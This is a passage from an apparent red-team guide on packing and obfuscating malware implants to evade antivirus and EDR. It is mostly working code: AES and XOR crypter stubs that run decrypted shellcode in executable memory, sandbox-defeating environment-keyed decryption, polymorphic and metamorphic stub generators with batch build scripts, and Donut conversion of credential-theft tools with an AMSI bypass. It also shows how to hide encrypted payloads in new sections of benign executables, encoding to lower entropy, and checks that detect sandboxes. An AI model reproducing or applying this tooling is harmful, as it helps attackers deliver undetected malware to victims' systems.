    BCryptDecrypt(hKey, ct, ct_len, NULL, ivCopy, 16,
                  out, cbResult, out_len, BCRYPT_BLOCK_PADDING);
    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    return out;
}}

// ── Main ──────────────────────────────────────────────────────
int main(void) {{
    DWORD dec_len = 0;
    BYTE* dec_pe  = aes_cbc_decrypt(
        enc_payload, enc_payload_len,
        aes_key, aes_iv, &dec_len
    );
    if (!dec_pe) return 1;

    // Allocate RX memory and copy + execute
    // (Full manual PE load or simple shellcode exec below)
    LPVOID exec_mem = VirtualAlloc(NULL, dec_len,
                                   MEM_COMMIT | MEM_RESERVE,
                                   PAGE_EXECUTE_READWRITE);
    memcpy(exec_mem, dec_pe, dec_len);
    VirtualFree(dec_pe, 0, MEM_RELEASE);

    // If payload is raw shellcode (not a full PE):
    ((void(*)())exec_mem)();

    // For full PE payloads — use manual PE loader from §5.3

    return 0;
}}
"""
    with open(output_c, "w") as f:
        f.write(stub_c)

    print(f"[+] Stub C file written: {output_c}")
    print(f"[+] Compile: x86_64-w64-mingw32-gcc {output_c} -o crypter.exe -lbcrypt")

build_crypted("implant.exe", "stub_output.c")

7.3 Environment-Keyed Crypter (Key Derivation)

// env_key_crypter.c
// Key is NOT stored in binary — derived at runtime from system properties
// Payload only decrypts on the target machine
// [OPSEC] — Sandbox won't decrypt it (wrong machine fingerprint)

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

// ── Get machine GUID (from registry) ─────────────────────────
void get_machine_guid(char* guid_out, DWORD guid_size) {
    HKEY hKey;
    RegOpenKeyExA(HKEY_LOCAL_MACHINE,
        "SOFTWARE\\Microsoft\\Cryptography",
        0, KEY_READ | KEY_WOW64_64KEY, &hKey);
    RegQueryValueExA(hKey, "MachineGuid", NULL, NULL,
                     (LPBYTE)guid_out, &guid_size);
    RegCloseKey(hKey);
}

// ── Get computer name ─────────────────────────────────────────
void get_computer_name(char* name_out, DWORD* size) {
    GetComputerNameA(name_out, size);
}

// ── Derive AES key from system fingerprint ────────────────────
// Key = SHA256(MachineGUID + ComputerName)
BOOL derive_key_from_env(BYTE key_out[32]) {
    char machine_guid[64] = {0};
    char comp_name[64]    = {0};
    DWORD name_len        = sizeof(comp_name);

    get_machine_guid(machine_guid, sizeof(machine_guid));
    get_computer_name(comp_name, &name_len);

    // Concatenate: "GUID:COMPUTERNAME"
    char seed[256] = {0};
    snprintf(seed, sizeof(seed), "%s:%s", machine_guid, comp_name);

    // SHA256 the seed
    HCRYPTPROV hProv; HCRYPTHASH hHash;
    CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
    CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash);
    CryptHashData(hHash, (BYTE*)seed, (DWORD)strlen(seed), 0);

    DWORD hash_size = 32;
    CryptGetHashParam(hHash, HP_HASHVAL, key_out, &hash_size, 0);

    CryptDestroyHash(hHash);
    CryptReleaseContext(hProv, 0);
    return TRUE;
}

/*
 * Usage:
 * BYTE key[32];
 * derive_key_from_env(key);
 * // Now AES-decrypt payload using derived key
 * // Only decrypts on the machine where GUID + name match
 */

[OPSEC] Environment-keyed crypters are sandbox killers. Automated sandboxes run on generic VMs with generic GUIDs — they cannot derive the correct key and the payload stays encrypted. Only the pre-surveilled target machine can decrypt.


8. Polymorphic Packing

What it means: A polymorphic packer changes its stub/decryptor every time it's run, while the encrypted payload underneath stays functionally identical. The mutation engine changes the decryption stub — random keys, junk code, instruction substitution — so every build produces a unique binary with no matching signature.

Polymorphic Packer:
┌─────────────────────────────────────────────────────┐
│ Build 1:                                            │
│   [Stub variant A (random key: 0x41)] [Enc payload] │
│   Hash: 9a3f7c...                                   │
├─────────────────────────────────────────────────────┤
│ Build 2:                                            │
│   [Stub variant B (random key: 0x77)] [Enc payload] │
│   Hash: b8e12d... (completely different)            │
├─────────────────────────────────────────────────────┤
│ Both binaries: Same behavior, different signatures  │
└─────────────────────────────────────────────────────┘

8.1 Polymorphic Stub Generator (Python)

#!/usr/bin/env python3
# poly_stub_generator.py
# Generates a different C stub each build:
# - Random XOR key
# - Random variable names
# - Junk instruction insertion
# - Instruction substitution (equivalent operations)

import os
import random
import string
import subprocess

def random_name(length=8) -> str:
    """Generate a random variable/function name."""
    return ''.join(random.choices(string.ascii_lowercase, k=length))

def xor_encode(shellcode: bytes, key: int) -> bytes:
    return bytes([b ^ key for b in shellcode])

def generate_junk_instructions() -> str:
    """Return random junk C code that does nothing meaningful."""
    junk_pool = [
        f"volatile int {random_name()} = {random.randint(1,999)};",
        f"if ({random.randint(0,0)}) {{ return 0; }}",       # Dead code
        f"int {random_name()} = {random.randint(1,9)} * {random.randint(1,9)};",
        f"Sleep(0);",
        f"{{ unsigned char {random_name()} = 0xAA ^ 0xAA; (void){random_name()}; }}",
    ]
    return "\n    ".join(random.choices(junk_pool, k=random.randint(2, 5)))

def generate_poly_stub(shellcode: bytes) -> str:
    """Generate polymorphic C stub — different every call."""

    # Random XOR key (pick one that avoids null bytes)
    key = 0
    for candidate in random.sample(range(1, 256), 255):
        encoded = xor_encode(shellcode, candidate)
        if b'\x00' not in encoded:
            key = candidate
            break
    if key == 0:
        key = random.randint(1, 255)  # Fallback

    encoded = xor_encode(shellcode, key)

    # Random variable names
    v_shellcode = random_name()
    v_key       = random_name()
    v_size      = random_name()
    v_mem       = random_name()
    v_i         = random_name()
    f_decode    = random_name()
    f_main      = "main"  # Keep main() standard for PE entry

    # Convert encoded shellcode to C array
    hex_vals = ", ".join(f"0x{b:02x}" for b in encoded)

    stub = f"""
// Auto-generated polymorphic stub
// Build ID: {os.urandom(4).hex()}  — unique every run
#include <windows.h>

// ── Encoded payload ───────────────────────────────────────────
unsigned char {v_shellcode}[] = {{ {hex_vals} }};
unsigned int  {v_size}        = {len(encoded)};
unsigned char {v_key}         = 0x{key:02x};

// ── Decode function (XOR) ─────────────────────────────────────
void {f_decode}(unsigned char* buf, unsigned int size, unsigned char key) {{
    {generate_junk_instructions()}
    unsigned int {v_i};
    for ({v_i} = 0; {v_i} < size; {v_i}++) {{
        buf[{v_i}] ^= key;
    }}
    {generate_junk_instructions()}
}}

// ── Entry point ───────────────────────────────────────────────
int main(void) {{
    {generate_junk_instructions()}

    // Allocate RWX memory
    LPVOID {v_mem} = VirtualAlloc(
        NULL, {v_size},
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    if (!{v_mem}) return 1;

    // Copy encoded shellcode
    memcpy({v_mem}, {v_shellcode}, {v_size});

    {generate_junk_instructions()}

    // Decode (XOR)
    {f_decode}((unsigned char*){v_mem}, {v_size}, {v_key});

    // Execute
    ((void(*)()){ v_mem})();

    return 0;
}}
"""
    return stub

# Usage
with open("shellcode.bin", "rb") as f:
    sc = f.read()

stub_code = generate_poly_stub(sc)
print(stub_code)

# Each run → different C code → different compiled binary → different hash

8.2 Compiling Polymorphic Stubs (Automation)

#!/bin/bash
# poly_build.sh — Generate and compile N polymorphic variants

SHELLCODE="shellcode.bin"
COUNT=5

for i in $(seq 1 $COUNT); do
    echo "[*] Generating variant $i..."

    # Generate unique C stub
    python3 poly_stub_generator.py > stub_$i.c

    # Compile
    x86_64-w64-mingw32-gcc stub_$i.c \
        -o variant_$i.exe \
        -mwindows -O2 -s \
        -Wno-implicit-function-declaration

    echo "[+] Variant $i: $(sha256sum variant_$i.exe | cut -d' ' -f1)"
done

echo ""
echo "[*] Generated $COUNT polymorphic variants — all unique hashes"

[DETECT] EDRs detect polymorphic code by behavioral analysis — not signatures. Even with a different stub, VirtualAlloc + memcpy + execute is a behavioral IOC. Combine with indirect syscalls or process injection to change execution behavior.


9. Metamorphic Techniques

What it means: Unlike polymorphism (which encrypts the payload and mutates the wrapper), metamorphism rewrites the actual code logic while keeping functional behavior identical. Each generation of the binary is structurally different — different instructions, different ordering, different register usage — while doing the same thing.

Polymorphic vs Metamorphic:

POLYMORPHIC:
  Build 1: [Unique stub] + [Encrypted(payload)]
  Build 2: [Different stub] + [Encrypted(payload)]
           ↑ Stub changes, payload logic same

METAMORPHIC:
  Build 1: MOV RAX, 1 / ADD RBX, RAX / (payload logic A)
  Build 2: XOR RCX, RCX / INC RCX / (payload logic B — same function!)
           ↑ Code rewrites itself — same semantics, different bytes

9.1 Common Metamorphic Substitutions (Instruction Equivalents)

; ── Equivalent sequences — same result, different bytes ───────
;
; Original: mov rax, 0
; Equiv 1:  xor rax, rax
; Equiv 2:  sub rax, rax
; Equiv 3:  and rax, 0

; Original: nop  (0x90)
; Equiv 1:  xchg ax, ax
; Equiv 2:  lea rax, [rax+0]
; Equiv 3:  push rax / pop rax

; Original: inc rax
; Equiv 1:  add rax, 1
; Equiv 2:  sub rax, -1
; Equiv 3:  lea rax, [rax+1]

; Original: call [rax]
; Equiv 1:  push return_label / jmp [rax] / return_label:
; Equiv 2:  mov rbx, [rax] / call rbx

; ── Register swapping ─────────────────────────────────────────
; Original: mov rax, rbx
; Equiv:    push rbx / pop rax     ; (if rax not used in between)

9.2 Python Metamorphic Engine (Simple Instruction Substitutor)

#!/usr/bin/env python3
# metamorphic_engine.py
# Simple metamorphic code generation:
# Substitutes equivalent instructions in generated C code
# Real engines work at x86 byte level — this demos the concept in C

import random

# ── Instruction substitute table ─────────────────────────────
# Each entry: original → list of equivalents
SUBSTITUTES = {
    "buf[i] ^= key;": [
        "buf[i] = buf[i] ^ key;",
        "{ unsigned char t = key; buf[i] ^= t; }",
        "buf[i] = (unsigned char)(buf[i] ^ key);",
    ],
    "VirtualAlloc(NULL,": [
        "VirtualAlloc(0,",
        "VirtualAlloc((LPVOID)0,",
    ],
    "PAGE_EXECUTE_READWRITE": [
        "0x40",           # Numeric equivalent of PAGE_EXECUTE_READWRITE
        "PAGE_EXECUTE_READWRITE",
    ],
    "MEM_COMMIT | MEM_RESERVE": [
        "0x3000",         # Numeric: 0x1000 | 0x2000
        "MEM_COMMIT | MEM_RESERVE",
    ],
}

# ── Junk code templates ───────────────────────────────────────
JUNK = [
    "/* stub */ (void)0;",
    "{ volatile int _x = ~0; (void)_x; }",
    "if (GetTickCount() < 0) { return 1; }",  # Never true — dead code
    "{ HANDLE _h = NULL; (void)_h; }",
]

def apply_metamorphism(c_code: str) -> str:
    """Apply instruction substitution and junk insertion."""

    # Substitute equivalent instructions
    for original, equivalents in SUBSTITUTES.items():
        if original in c_code:
            replacement = random.choice(equivalents)
            c_code = c_code.replace(original, replacement, 1)

    # Insert junk before return statements
    junk = "    " + random.choice(JUNK) + "\n"
    c_code = c_code.replace("    return 0;", junk + "    return 0;", 1)

    return c_code

# Apply to generated stub
base_stub = """
#include <windows.h>
unsigned char buf[] = {0x41, 0x42};
unsigned char key = 0x01;
int main(void) {
    int i;
    LPVOID mem = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    for (i = 0; i < sizeof(buf); i++) {
        buf[i] ^= key;
    }
    return 0;
}
"""

for run in range(3):
    mutated = apply_metamorphism(base_stub)
    print(f"=== Variant {run+1} ===")
    print(mutated)
    print()

[OPSEC] True metamorphism at the binary level requires a working x86-64 disassembler, control-flow graph analysis, and instruction-level mutation engine. Tools like MorphKatz do this properly. The Python example above demos the concept at source level.

[TOOL] MorphKatz — x64 polymorphic machine-code rewriter: https://github.com/gmh5225/morphkatz


10. VM-Based Protection (VMProtect / Themida)

What it means: VM-based protectors translate the original x86/x64 code into a custom bytecode format (a "virtual instruction set"). A small interpreter (the "virtual machine") embedded in the binary executes this bytecode at runtime. This means an analyst cannot simply disassemble the binary — they must reverse-engineer the custom VM and its instruction set first.

Normal x86 execution:
CPU → executes x86 instructions directly
└─ Analyst disassembles → reads code

VM-Protected execution:
CPU → executes VM interpreter (native x86)
         └─ VM interpreter executes custom bytecode
                    └─ Bytecode = obfuscated original code
└─ Analyst sees only interpreter + opaque bytecode
└─ Must reverse the custom ISA first (very hard)

10.1 VMProtect

[TOOL] VMProtect: https://vmpsoft.com

# VMProtect CLI (commercial tool)
# Protects functions/regions marked in source with SDK markers

# In C/C++ source — mark functions for VM protection:
# VMProtect SDK markers
#include "VMProtectSDK.h"

void sensitive_function() {
    VMProtectBegin("sensitive_function");    // Start VM protection

    // ... critical code ...
    // This block will be translated to VM bytecode
    // Only the embedded VM can execute it

    VMProtectEnd();
}

# Command-line build with VMProtect:
# VMProtect.exe implant.exe -pf implant.vmp -pm markers.vmp

10.2 Themida

[TOOL] Themida: https://www.oreans.com/Themida.php

# Themida is a commercial protector used heavily by malware authors
# Lazarus Group (Operation Dream Job) used Themida-protected implants

# Key features:
# - VM-based code virtualization
# - Anti-debug (detects OllyDbg, x64dbg, WinDbg)
# - Anti-VM (detects VirtualBox, VMware, QEMU)
# - Anti-dump (prevents process memory dumping)
# - Anti-hook (detects user-mode hooks)
# - Code mutation (metamorphic transformations)
# - Import obfuscation (hides DLL imports)

# From a red team perspective — use Themida on implants when:
# 1. Dealing with a heavily defended target
# 2. Want to make reverse engineering very expensive for defenders
# 3. APT-style TTPs requiring high-tier protection

# Detection note:
# Themida itself is signatured by many AV engines — use on non-Themida-blacklisted 
# targets or combine with other obfuscation on the outer layer.

10.3 Open-Source VM Packer Example

// simple_vm_packer_concept.c
// Conceptual: translates shellcode to fake bytecode + simple VM
// NOT a real virtualizer — illustrates the architecture

#include <windows.h>
#include <stdio.h>

// ── Custom VM instruction set ─────────────────────────────────
#define VM_PUSH   0x01    // Push byte to stack
#define VM_POP    0x02    // Pop byte from stack
#define VM_XOR    0x03    // XOR top two stack bytes
#define VM_STORE  0x04    // Store top of stack to output buffer
#define VM_JMP    0x05    // Unconditional jump
#define VM_HALT   0xFF    // Stop VM

// ── VM State ──────────────────────────────────────────────────
typedef struct {
    BYTE   stack[256];
    int    sp;           // Stack pointer
    BYTE*  output;       // Decoded output buffer
    int    out_pos;
    BYTE*  code;         // Bytecode (VM program)
    int    ip;           // Instruction pointer
} VM_STATE;

// ── VM Interpreter ────────────────────────────────────────────
void vm_run(VM_STATE* vm) {
    while (1) {
        BYTE opcode = vm->code[vm->ip++];

        switch (opcode) {
            case VM_PUSH:
                vm->stack[vm->sp++] = vm->code[vm->ip++];
                break;

            case VM_POP:
                vm->sp--;
                break;

            case VM_XOR:
                vm->stack[vm->sp-2] ^= vm->stack[vm->sp-1];
                vm->sp--;
                break;

            case VM_STORE:
                vm->output[vm->out_pos++] = vm->stack[--vm->sp];
                break;

            case VM_HALT:
                return;

            default:
                return;
        }
    }
}

/*
 * A real VM packer would:
 * 1. Disassemble original x86 → lift to IR
 * 2. Translate IR → custom bytecode
 * 3. Randomize opcode assignments every build (polymorphic ISA!)
 * 4. Compile VM interpreter with the random opcode table
 * 5. Ship VM interpreter + bytecode as the packed binary
 */

[DETECT] VM-based protectors are detectable via entropy analysis, atypical PE structure, and known protector signatures. However, analysis requires weeks of work to understand the custom VM. In red team ops, this buys significant time against incident responders.


11. Shellcode-to-PE Packing (Donut)

What it means: Donut converts .NET assemblies, EXEs, DLLs, VBScript, and JScript into position-independent shellcode. The resulting shellcode can then be packed, injected, or embedded in a loader. Used widely by red teams to convert C# tools (SharpHound, Rubeus, Seatbelt) to shellcode for injection.

[TOOL] Donut: https://github.com/TheWover/donut [MITRE] T1027.002 — Donut explicitly listed as a packing tool in ATT&CK.

11.1 Donut Usage

# ── Install Donut ─────────────────────────────────────────────
git clone https://github.com/TheWover/donut
cd donut
make     # Linux
# or: msbuild donut.sln (Windows)

# ── Convert .NET EXE to shellcode ────────────────────────────
./donut -i Rubeus.exe -o rubeus_shellcode.bin

# ── Convert DLL to shellcode ──────────────────────────────────
./donut -i SharpHound.dll -c SharpHound -m Execute \
        -o sharphound_sc.bin

# ── Convert with arguments ────────────────────────────────────
./donut -i Rubeus.exe -o rubeus_sc.bin -p "asktgt /user:admin"

# ── Add encryption (Donut built-in) ──────────────────────────
./donut -i implant.exe -o packed.bin -e 3  
# -e 1 = none, -e 2 = Random key, -e 3 = Maru hash

# ── Convert PowerShell script ─────────────────────────────────
./donut -i invoke-mimikatz.ps1 -o ps_sc.bin

# ── 32-bit output ─────────────────────────────────────────────
./donut -i implant32.exe -o sc32.bin -a 1

# ── 64-bit output (default) ───────────────────────────────────
./donut -i implant64.exe -o sc64.bin -a 2

# ── Both architectures (AMSI/WLDP bypass included by default) ─
./donut -i implant.exe -o sc.bin -b 1  # AMSI bypass

11.2 Donut + Custom Loader

#!/usr/bin/env python3
# donut_loader_builder.py
# Load Donut shellcode output, encrypt it, embed in a C loader

import os
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def pack_donut_output(donut_bin: str, output_c: str):
    with open(donut_bin, "rb") as f:
        shellcode = f.read()

    key = os.urandom(32)
    iv  = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(pad(shellcode, 16))

    key_arr = ", ".join(f"0x{b:02x}" for b in key)
    iv_arr  = ", ".join(f"0x{b:02x}" for b in iv)
    sc_arr  = ", ".join(f"0x{b:02x}" for b in encrypted)

    loader_c = f"""
// Donut shellcode loader — AES-256 encrypted
#include <windows.h>
#include <bcrypt.h>

unsigned char aes_key[] = {{ {key_arr} }};
unsigned char aes_iv[]  = {{ {iv_arr} }};
unsigned char enc_sc[]  = {{ {sc_arr} }};
unsigned int  enc_sc_len = {len(encrypted)};

// [AES decrypt stub from §7.2 goes here]

int main(void) {{
    DWORD dec_len = 0;
    // Decrypt → VirtualAlloc RWX → execute donut shellcode
    BYTE* sc = aes_cbc_decrypt(enc_sc, enc_sc_len,
                               aes_key, aes_iv, &dec_len);
    LPVOID mem = VirtualAlloc(NULL, dec_len,
                              MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(mem, sc, dec_len);
    VirtualFree(sc, 0, MEM_RELEASE);
    ((void(*)())mem)();
    return 0;
}}
"""
    with open(output_c, "w") as f:
        f.write(loader_c)

    print(f"[+] Output: {output_c}")
    print(f"[+] Shellcode: {len(shellcode)} bytes → Encrypted: {len(encrypted)} bytes")

pack_donut_output("rubeus_shellcode.bin", "loader.c")

12. Multi-Layer Chained Packing (ProtectMyTooling)

What it means: ProtectMyTooling is a multi-packer wrapper that daisy-chains multiple packers, obfuscators, and protectors. Output of packer A becomes input to packer B. Produces layered protection with IOC collection and PE watermarking at each stage.

[TOOL] ProtectMyTooling: https://github.com/mgeeky/ProtectMyTooling

12.1 ProtectMyTooling Usage

# ── Install ────────────────────────────────────────────────────
git clone https://github.com/mgeeky/ProtectMyTooling
cd ProtectMyTooling
pip install -r requirements.txt

# ── List available packers ─────────────────────────────────────
py ProtectMyTooling.py --list-packers

# ── Single packer ─────────────────────────────────────────────
py ProtectMyTooling.py upx implant.exe implant-upx.exe

# ── Chain: CallObf → UPX ──────────────────────────────────────
# Result: UPX(CallObf(implant))
py ProtectMyTooling.py callobf,upx implant.exe output.exe

# ── Chain: CallObf → Hyperion → UPX ──────────────────────────
# Result: UPX(Hyperion(CallObf(implant)))
py ProtectMyTooling.py callobf,hyperion,upx implant.exe output.exe

# ── With IOC collection (audit trail) ─────────────────────────
py ProtectMyTooling.py hyperion,upx implant.exe output.exe \
    -i -I "operation_blackout"

# ── With PE watermark ─────────────────────────────────────────
py ProtectMyTooling.py upx implant.exe output.exe \
    -w dos-stub=TEAM_TAG \
    -w checksum=0xDEADBEEF

# ── IMPHASH tracking ──────────────────────────────────────────
# ProtectMyTooling prints IMPHASH before/after each packer
# [.] Before: 17b461a082950fc6332228572138b80c
# [.] After:  378d9692fe91eb54206e98c224a25f43

12.2 Chaining Logic (Understanding Layering Order)

Command: py ProtectMyTooling.py A,B,C implant.exe output.exe

Execution order:
  implant.exe → [A packs] → temp_1 → [B packs] → temp_2 → [C packs] → output.exe

Result structure at runtime:
  C unpacks first  → B unpacks → A unpacks → implant executes

Example: callobf,hyperion,upx implant.exe
┌──────────────────────────────────────────────────────┐
│ UPX wrapper                                          │
│   └─ Hyperion AES encrypted PE                       │
│         └─ CallObf-obfuscated import calls           │
│               └─ Original implant.exe                │
└──────────────────────────────────────────────────────┘
AV must defeat UPX, then Hyperion decrypt, then CallObf,
then analyze actual implant — 3 layers of protection.

[OPSEC] IOC collection is a blue team feature. For authorized engagements, use -i to collect IOCs at every stage so you can provide defenders a full artifact trail for the report. Purple teaming gold.


13. PE Section Manipulation

What it means: PE (Portable Executable) files are organized into sections (.text, .data, .rsrc, etc.). Packers manipulate sections by adding new ones, renaming existing ones, or hiding payloads in unusual sections. Understanding this helps both pack and detect.

13.1 Viewing PE Sections

# ── pefile (Python) ───────────────────────────────────────────
python3 << 'EOF'
import pefile

pe = pefile.PE("implant.exe")
print(f"{'Section':<12} {'VirtualSize':>12} {'RawSize':>10} {'Entropy':>10}")
print("-" * 50)
for section in pe.sections:
    name    = section.Name.decode('utf-8', errors='replace').strip('\x00')
    entropy = section.get_entropy()
    print(f"{name:<12} {section.Misc_VirtualSize:>12} "
          f"{section.SizeOfRawData:>10} {entropy:>10.4f}")
EOF

# ── objdump (Linux) ───────────────────────────────────────────
objdump -h implant.exe

# ── PEview / CFF Explorer (Windows GUI) ──────────────────────
# Shows all PE sections, headers, imports, exports visually

# ── pestudio (AV scan + section analysis) ────────────────────
# https://www.winitor.com/download

13.2 Adding a Payload Section to PE

#!/usr/bin/env python3
# pe_section_inject.py
# Add a new section to an existing PE and write payload there
# Use: embedding encrypted blobs in legitimate PE templates

import pefile
import struct
import os

def add_section(pe_path: str, out_path: str, 
                section_name: str, data: bytes):
    """
    Append a new PE section containing `data`.
    `section_name` must be ≤ 8 bytes.
    """
    pe = pefile.PE(pe_path)

    # Align sizes
    file_align   = pe.OPTIONAL_HEADER.FileAlignment
    sec_align    = pe.OPTIONAL_HEADER.SectionAlignment

    raw_size  = (len(data) + file_align - 1) & ~(file_align - 1)
    virt_size = (len(data) + sec_align - 1)  & ~(sec_align - 1)

    # Determine new section's virtual address
    last_section = pe.sections[-1]
    new_virt_rva = (
        last_section.VirtualAddress + 
        ((last_section.Misc_VirtualSize + sec_align - 1) & ~(sec_align - 1))
    )
    new_raw_off  = (
        last_section.PointerToRawData +
        ((last_section.SizeOfRawData + file_align - 1) & ~(file_align - 1))
    )

    # Build section header (40 bytes)
    sec_hdr = struct.pack(
        "<8sIIIIIIHHI",
        section_name.encode().ljust(8, b'\x00')[:8],  # Name
        len(data),          # VirtualSize
        new_virt_rva,       # VirtualAddress
        raw_size,           # SizeOfRawData
        new_raw_off,        # PointerToRawData
        0, 0, 0, 0,         # Relocations, line numbers (unused)
        0xE0000020,         # Characteristics: CODE | EXECUTE | READ | WRITE
    )

    # Patch PE headers
    pe.FILE_HEADER.NumberOfSections += 1
    pe.OPTIONAL_HEADER.SizeOfImage   = new_virt_rva + virt_size

    # Find end of section table (where to write new header)
    last_hdr_off = pe.sections[-1].get_file_offset()
    new_hdr_off  = last_hdr_off + 0x28  # 40 bytes per section header

    # Write to PE
    raw = bytearray(pe.write())

    # Insert section header
    raw[new_hdr_off:new_hdr_off + 40] = sec_hdr

    # Append section data
    raw += b'\x00' * (new_raw_off - len(raw))  # Padding to raw offset
    raw += data
    raw += b'\x00' * (raw_size - len(data))    # Pad to file alignment

    with open(out_path, "wb") as f:
        f.write(raw)

    print(f"[+] Section '{section_name}' added at RVA 0x{new_virt_rva:08x}")
    print(f"[+] Written to: {out_path}")

# Usage: add encrypted payload to a benign PE template
with open("payload_enc.bin", "rb") as f:
    encrypted_payload = f.read()

add_section(
    pe_path="legitimate_template.exe",  # Benign PE (notepad clone, etc.)
    out_path="disguised_loader.exe",
    section_name=".config",             # Looks legitimate
    data=encrypted_payload
)

[DETECT] Indicator: Executable sections with high entropy. .text normally has entropy ~6.0–6.5. A section like .config with entropy >7.5 is suspicious. YARA rules catch this pattern.


14. Entropy & Detection Evasion

What it means: Entropy is a measure of randomness (0 = perfectly uniform, 8 = perfectly random). AES-encrypted and ZLIB-compressed data have entropy close to 8.0 — a strong indicator to AV/EDR that something is packed or encrypted. High-entropy sections trigger heuristic detection even without signature matching.

14.1 Checking Entropy

#!/usr/bin/env python3
# entropy_check.py — Calculate entropy of file or PE sections

import math
import sys
from collections import Counter

def calc_entropy(data: bytes) -> float:
    if not data:
        return 0.0
    counter = Counter(data)
    n       = len(data)
    return -sum((v/n) * math.log2(v/n) for v in counter.values())

def check_file_entropy(path: str):
    with open(path, "rb") as f:
        data = f.read()
    entropy = calc_entropy(data)
    print(f"[*] File: {path}")
    print(f"[*] Size: {len(data):,} bytes")
    print(f"[*] Entropy: {entropy:.4f} / 8.0000")

    if entropy > 7.5:
        print("[!] HIGH ENTROPY — likely packed/encrypted (AV will flag)")
    elif entropy > 6.5:
        print("[~] MEDIUM-HIGH — compressed or obfuscated")
    elif entropy > 4.0:
        print("[+] NORMAL — typical for compiled code")
    else:
        print("[+] LOW — mostly uniform/zeroed data")

def check_pe_sections(path: str):
    try:
        import pefile
        pe = pefile.PE(path)
        print(f"\n[*] PE Section Entropy:")
        print(f"{'Section':<12} {'Entropy':>8} {'Status'}")
        print("-" * 40)
        for s in pe.sections:
            name = s.Name.decode('utf-8', errors='replace').strip('\x00')
            ent  = s.get_entropy()
            flag = "⚠ HIGH" if ent > 7.0 else ("~ MED" if ent > 6.0 else "✓ OK")
            print(f"{name:<12} {ent:>8.4f} {flag}")
    except ImportError:
        print("[-] pefile not installed (pip install pefile)")
    except Exception as e:
        print(f"[-] PE parse error: {e}")

if len(sys.argv) > 1:
    check_file_entropy(sys.argv[1])
    check_pe_sections(sys.argv[1])
else:
    print(f"Usage: python3 {sys.argv[0]} <file>")

14.2 Low-Entropy Packing (Avoid Entropy Detection)

#!/usr/bin/env python3
# low_entropy_pack.py
# Encode encrypted payload to reduce apparent entropy
# Technique: Base-16 expansion (hex encode) → looks like text, lower entropy

import os
import math
from collections import Counter

def calc_entropy(data: bytes) -> float:
    if not data:
        return 0.0
    c = Counter(data)
    n = len(data)
    return -sum((v/n)*math.log2(v/n) for v in c.values())

def hex_expand(data: bytes) -> bytes:
    """
    Encode each byte as two hex ASCII chars.
    Limits byte range to 0x30-0x39 and 0x61-0x66 (digits + a-f).
    Entropy drops from ~8.0 to ~3.7.
    Doubles size but evades entropy detection.
    """
    return data.hex().encode('ascii')

def hex_contract(hex_data: bytes) -> bytes:
    """Reverse of hex_expand — used in stub to recover original bytes."""
    return bytes.fromhex(hex_data.decode('ascii'))

# ── Demo ─────────────────────────────────────────────────────
import os
encrypted = os.urandom(1024)  # Simulate AES-encrypted payload

print(f"[*] Encrypted payload entropy: {calc_entropy(encrypted):.4f}")

expanded = hex_expand(encrypted)
print(f"[*] Hex-expanded entropy:       {calc_entropy(expanded):.4f}")
print(f"[*] Size: {len(encrypted)} → {len(expanded)} bytes (2x expansion)")
print()
print("[*] In stub: bytes.fromhex(hex_data.decode()) → recover encrypted payload")
print("[*] Then AES-decrypt as normal")

14.3 Tools for Entropy Analysis

# ── ThreatCheck (find AV-triggering bytes) ────────────────────
# https://github.com/rasta-mouse/ThreatCheck
# Bisects the binary to find exact bytes triggering AV
ThreatCheck.exe -f implant.exe
ThreatCheck.exe -f implant.exe -e AMSI    # Test AMSI engine

# ── DefenderCheck (same idea, Defender-specific) ──────────────
# https://github.com/matterpreter/DefenderCheck
DefenderCheck.exe implant.exe

# ── DIE (Detect It Easy) — identify packers from entropy ──────
# GUI tool: shows packer signatures + section entropy charts
die implant.exe                           # CLI
# Download: https://github.com/horsicq/Detect-It-Easy

# ── Exeinfo PE — packer detector ─────────────────────────────
# Windows GUI tool for identifying 500+ packers/protectors

# ── YARA entropy rule example ─────────────────────────────────
# rule HighEntropySection {
#     condition:
#         for any section in pe.sections:
#             (section.entropy(0, section.raw_data_size) > 7.5)
# }

15. Anti-Analysis Tricks in Packers

What it means: Packers and crypters often include anti-analysis checks in the stub to prevent the payload from running inside sandboxes, debuggers, or VMs. These checks make automated analysis ineffective and protect the actual payload from being dumped.

15.1 Anti-Sandbox Checks

// anti_sandbox.c — Common sandbox evasion checks in packer stubs

#include <windows.h>
#include <iphlpapi.h>
#include <tlhelp32.h>
#include <stdio.h>

// ── Check 1: Sleep timing (sandbox fast-forwards sleep) ───────
BOOL check_sleep_timing() {
    DWORD start = GetTickCount();
    Sleep(2000);
    DWORD elapsed = GetTickCount() - start;
    // Sandbox accelerates Sleep() — real time should be ~2000ms
    return (elapsed < 1500);  // TRUE = sandbox detected
}

// ── Check 2: RAM size (most sandboxes have <2GB RAM) ─────────
BOOL check_low_ram() {
    MEMORYSTATUSEX mem = { sizeof(mem) };
    GlobalMemoryStatusEx(&mem);
    // Less than 2GB RAM → sandbox
    return (mem.ullTotalPhys < (2ULL * 1024 * 1024 * 1024));
}

// ── Check 3: CPU core count (sandboxes often have 1-2 cores) ─
BOOL check_cpu_cores() {
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    return (si.dwNumberOfProcessors < 2);  // TRUE = suspicious
}

// ── Check 4: Disk size (sandbox VMs have small disks) ────────
BOOL check_small_disk() {
    ULARGE_INTEGER free_bytes, total_bytes, total_free;
    GetDiskFreeSpaceExA("C:\\", &free_bytes, &total_bytes, &total_free);
    // Less than 50GB total → sandbox
    return (total_bytes.QuadPart < (50ULL * 1024 * 1024 * 1024));
}

// ── Check 5: Uptime (sandbox reboots frequently → short uptime)
BOOL check_short_uptime() {
    DWORD uptime_ms = GetTickCount();
    // Less than 10 minutes uptime → suspicious
    return (uptime_ms < 10 * 60 * 1000);
}

// ── Check 6: Screen resolution (sandbox = small display) ──────
BOOL check_low_resolution() {
    int width  = GetSystemMetrics(SM_CXSCREEN);
    int height = GetSystemMetrics(SM_CYSCREEN);
